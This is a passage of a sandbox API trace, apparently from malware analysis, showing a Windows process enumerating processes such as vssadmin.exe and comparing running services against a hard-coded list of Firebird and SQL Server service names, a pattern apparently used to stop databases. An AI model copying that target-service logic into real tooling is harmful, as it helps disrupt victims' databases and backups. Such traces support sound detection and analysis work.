	[0160.581] lstrlenW (lpString="conhost.exe") returned 11
	[0160.582] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0160.648] lstrlenW (lpString="consent.exe") returned 11
	[0160.648] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0160.649] lstrlenW (lpString="vssadmin.exe") returned 12
	[0160.649] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0160.650] CloseHandle (hObject=0x548) returned 1
	[0160.650] Sleep (dwMilliseconds=0x1f4) 
	[0161.413] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45aff30
	[0161.440] EnumServicesStatusExW (in: hSCManager=0x45aff30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0161.441] GetLastError () returned 0xea
	[0161.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4642fd8
	[0161.441] EnumServicesStatusExW (in: hSCManager=0x45aff30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4642fd8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4642fd8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0161.442] CloseServiceHandle (hSCObject=0x45aff30) returned 1
	[0161.442] lstrlenW (lpString="Appinfo") returned 7
	[0161.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0161.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0161.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0161.443] lstrlenW (lpString="AppXSvc") returned 7
	[0161.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0161.443] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0161.443] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0161.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0161.443] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0161.443] lstrlenW (lpString="Audiosrv") returned 8
	[0161.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0161.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0161.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0161.444] lstrlenW (lpString="BFE") returned 3
	[0161.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0161.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0161.444] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0161.444] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0161.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0161.444] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0161.444] lstrlenW (lpString="CDPSvc") returned 6
	[0161.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0161.444] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0161.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0161.444] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0161.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0161.445] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0161.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0161.445] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0161.445] lstrlenW (lpString="CryptSvc") returned 8
	[0161.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0161.445] lstrlenW (lpString="DcomLaunch") returned 10
	[0161.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0161.445] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0161.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0161.445] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0161.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0161.446] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0161.446] lstrlenW (lpString="Dhcp") returned 4
	[0161.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0161.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0161.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0161.446] lstrlenW (lpString="Dnscache") returned 8
	[0161.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0161.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0161.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0161.446] lstrlenW (lpString="DPS") returned 3
	[0161.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0161.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0161.446] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0161.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0161.446] lstrlenW (lpString="DusmSvc") returned 7
	[0161.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0161.447] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0161.447] lstrlenW (lpString="EventLog") returned 8
	[0161.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0161.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0161.447] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0161.447] lstrlenW (lpString="EventSystem") returned 11
	[0161.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0161.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0161.447] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0161.447] lstrlenW (lpString="FontCache") returned 9
	[0161.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0161.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0161.447] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0161.447] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0161.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0161.447] lstrlenW (lpString="gpsvc") returned 5
	[0161.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0161.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0161.448] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0161.448] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0161.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0161.448] lstrlenW (lpString="iphlpsvc") returned 8
	[0161.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0161.448] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0161.448] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0161.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0161.448] lstrlenW (lpString="KeyIso") returned 6
	[0161.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0161.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0161.448] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0161.448] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0161.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0161.448] lstrlenW (lpString="LanmanServer") returned 12
	[0161.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0161.448] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0161.448] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0161.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0161.448] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0161.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0161.552] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0161.552] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0161.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0161.552] lstrlenW (lpString="lfsvc") returned 5
	[0161.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0161.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0161.552] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0161.552] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0161.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0161.552] lstrlenW (lpString="lmhosts") returned 7
	[0161.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0161.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0161.553] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0161.553] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0161.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0161.553] lstrlenW (lpString="LSM") returned 3
	[0161.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0161.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0161.553] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0161.553] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0161.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0161.553] lstrlenW (lpString="MpsSvc") returned 6
	[0161.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0161.553] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0161.553] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0161.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0161.553] lstrlenW (lpString="NcbService") returned 10
	[0161.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0161.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0161.553] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0161.553] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0161.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0161.553] lstrlenW (lpString="netprofm") returned 8
	[0161.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0161.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0161.554] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0161.554] lstrlenW (lpString="NgcSvc") returned 6
	[0161.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0161.554] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0161.554] lstrlenW (lpString="NlaSvc") returned 6
	[0161.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0161.554] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0161.554] lstrlenW (lpString="nsi") returned 3
	[0161.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0161.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0161.554] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0161.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0161.554] lstrlenW (lpString="PcaSvc") returned 6
	[0161.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0161.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0161.555] lstrlenW (lpString="PlugPlay") returned 8
	[0161.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0161.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0161.555] lstrlenW (lpString="Power") returned 5
	[0161.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0161.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0161.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0161.555] lstrlenW (lpString="ProfSvc") returned 7
	[0161.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0161.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0161.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0161.555] lstrlenW (lpString="RpcEptMapper") returned 12
	[0161.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0161.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0161.556] lstrlenW (lpString="RpcSs") returned 5
	[0161.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0161.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0161.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0161.556] lstrlenW (lpString="SamSs") returned 5
	[0161.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0161.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0161.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0161.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0161.556] lstrlenW (lpString="Schedule") returned 8
	[0161.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0161.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0161.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0161.557] lstrlenW (lpString="SecurityHealthService") returned 21
	[0161.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0161.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0161.557] lstrlenW (lpString="SENS") returned 4
	[0161.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0161.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0161.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0161.557] lstrlenW (lpString="ShellHWDetection") returned 16
	[0161.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0161.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0161.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0161.557] lstrlenW (lpString="Spooler") returned 7
	[0161.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0161.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0161.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0161.558] lstrlenW (lpString="StateRepository") returned 15
	[0161.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0161.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0161.558] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0161.558] lstrlenW (lpString="SysMain") returned 7
	[0161.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0161.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0161.558] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0161.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0161.558] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0161.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0161.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0161.559] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0161.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0161.559] lstrlenW (lpString="Themes") returned 6
	[0161.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0161.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0161.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0161.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0161.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0161.559] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0161.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0161.559] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0161.559] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
